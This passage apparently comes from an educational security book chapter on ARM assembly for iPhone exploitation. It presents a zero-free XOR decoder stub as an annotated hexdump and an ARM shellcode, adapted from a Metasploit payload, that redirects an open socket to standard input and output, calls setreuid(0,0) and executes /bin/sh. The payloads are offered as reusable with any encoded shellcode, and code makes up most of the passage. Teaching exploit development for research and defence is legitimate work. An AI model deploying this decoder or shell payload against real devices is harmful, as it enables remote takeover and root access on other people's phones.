In order for the decoder to function properly, the instruction cache must be flushed. There are a few ways to do this, none of them particularly inviting within a decoder stub. One is to use an instruction to flush the cache such as the DSB instruction. Unfortunately, this instruction, and all those like it, can only be executed from a privileged context. So unless you happen to be exploiting the kernel, it won't help you. Another way that works on some ARM chips is to make a system call. The idea being that the instruction cache must be cleared so the kernel can use it while executing the necessary kernel code. However, this doesn't seem to work on the iPhone (try it!). The vm_write function manages to clear the cache, so you could either call this function or emulate it. However, this is a lot of work for a decoder stub. The final option, and the one presented below, is to try to get the scheduler to run another process between the time the memory is written and it is executed. In this way, the instruction cache will be cleared for use by the other process. The code below forces this by sitting in a loop for a while. This is necessarily inexact, but does work. Below is a hexdump of the compiled assembly. Also, observe that it is zero-free. The new loop is at the label _sleeper.

```
_foo:
00000000    e3a01007      mov    r1, #7  ; 0x7
00000004    e3a06001      mov    r6, #1  ; 0x1
00000008    e1a06c06      mov    r6, r6, lsl #24
0000000c    e3a02055      mov    r2, #85 ; 0x55
00000010    e1a04c02      mov    r4, r2, lsl #24
00000014    e0844802      add    r4, r4, r2, lsl #16
00000018    e0844402      add    r4, r4, r2, lsl #8
0000001c    e0844002      add    r4, r4, r2
00000020    e28f2020      add    r2, pc, #32    ; 0x20
_loop:
```

```
00000024     e5923004       ldr     r3, [r2, #4]
00000028     e0233004       eor     r3, r3, r4
0000002c     e5823004       str     r3, [r2, #4]
00000030     e2822004       add     r2, r2, #4     ; 0x4
00000034     e2411001       sub     r1, r1, #1     ; 0x1
00000038     e1510ca6       cmp     r1, r6, lsr #25
0000003c     aafffff8       bge     0x24
_sleeper:
00000040     e2444004       sub     r4, r4, #4     ; 0x4
00000044     e1540ca6       cmp     r4, r6, lsr #25
00000048     aafffffc       bge     0x40
_encoded:
0000004c     b6f55554       usatlt  r5, #21, r4, ASR #10
00000050     b6f54557       usatlt  r4, #21, r7, ASR #10
00000054     b6f56556       usatlt  r6, #21, r6, ASR #10
00000058     b6f51551       usatlt  r1, #21, r1, ASR #10
0000005c     b6f50550       usatlt  r0, #21, r0, ASR #10
00000060     b6f53553       usatlt  r3, #21, r3, ASR #10
00000064     bfaaaaad       swilt   0x00aaaaad
```

If you run this, the code will be decoded and will run successfully. You can use this decoder with any encoded shellcode.

Execing a shell

Finally, we present a more complicated payload. On a jailbroken phone, the /bin/sh binary actually exists and so you can write traditional shellcode that executes a shell. On a factory (non-jailbroken) phone, there is no /bin/sh so something much more complicated is necessary. For that, you'll have to wait for Chapter [Payloads].

Here is sample shellcode, which it taken mostly from the one written by HD Moore for Metasploit. It assumes there is a socket open and the socket is in r0.

```
.globl _main
_main:
mov r10, r0         @ save socket in r10 for keeping
@ vfork
mov r12, #0x42      @ SYS_vfork
eor r0, r0, r0
swi 128             @ vfork(0)
cmp r0, #0x0
beq _exit           @ The child exits, the parent continues

@ setup dup2
mov r5, #0x2        @ r5 is the file descriptor we're working on: 2, 1,
0.

_dup2:
mov r12, #0x5a      @ SYS_dup2
mov r0, r10
mov r1, r5
swi 128             @ for(fd=2; fd<=0 fd++) dup2(socket, fd)
```

```
sub r5, r5, #0x1
cmp r5, #0x0
bge _dup2

@ setreuid
mov r0, #0x0
mov r1, #0x0
mov r12, #0x7e
swi 128             @ setreuid(0,0)

@ execve
sub r5, r5, r5
mov r6, sp          @stack buffer, will be argv[]
sub sp, sp, #0x20
add r0, pc, #0x14   @r0 has address of “/bin/sh”
str r0, [r6], #0
str r5, [r6, #4]    @create argv[]
mov r1, r6
mov r2, #0x0
mov r12, #0x3b
swi 128             @ execve(“/bin/sh”, argv[], 0)

@ /bin/sh
.long 0x6e69622f
.long 0x0068732f

@ exit
_exit:
mov r12, #0x1
swi 128             @ exit()
```

Conclusion

In this chapter, you learned the basics of the ARM architecture and assembly language. You can understand the differences between x86 assembly and ARM assembly, including conditional instructions, different calling conventions, etc. At this point, you should be able to read ARM assembly which will be necessary when reverse engineering or bug hunting iPhone default applications. You also know enough ARM assembly to write basic programs in assembly. This will prove helpful when developing exploit payloads later in this book. You can now understand the difference between ARM and Thumb instructions and how to transition from one to the other. Finally, you know how to compile simple assembly programs and extract the underlying machine code.

References

http://www.metasploit.com/

ARM Assembly Language Programming, Knaggs and Welsh, http://www.arm.com/miscPDFs/9658.pdf

“Into my ARMs” Developing StrongARM/Linux shellcode, funkysh, http://www.isec.pl/papers/into_my_arms_dsls.pdf

ARM Architecture Reference Manual, http://www.arm.com/miscPDFs/14128.pdf

ARM architecture, Wikipedia, http://en.wikipedia.org/wiki/ARM_architecture

Whirlwind Tour of ARM Assembly, http://www.coranac.com/tonc/text/asm.htm

Hacking Windows CE, Phrack 63 http://www.phrack.com/issues.html?issue=63&id=6

[aapcs] http://www.arm.com/miscPDFs/8031.pdf

http://www.freeinfosociety.com/site.php?postnum=402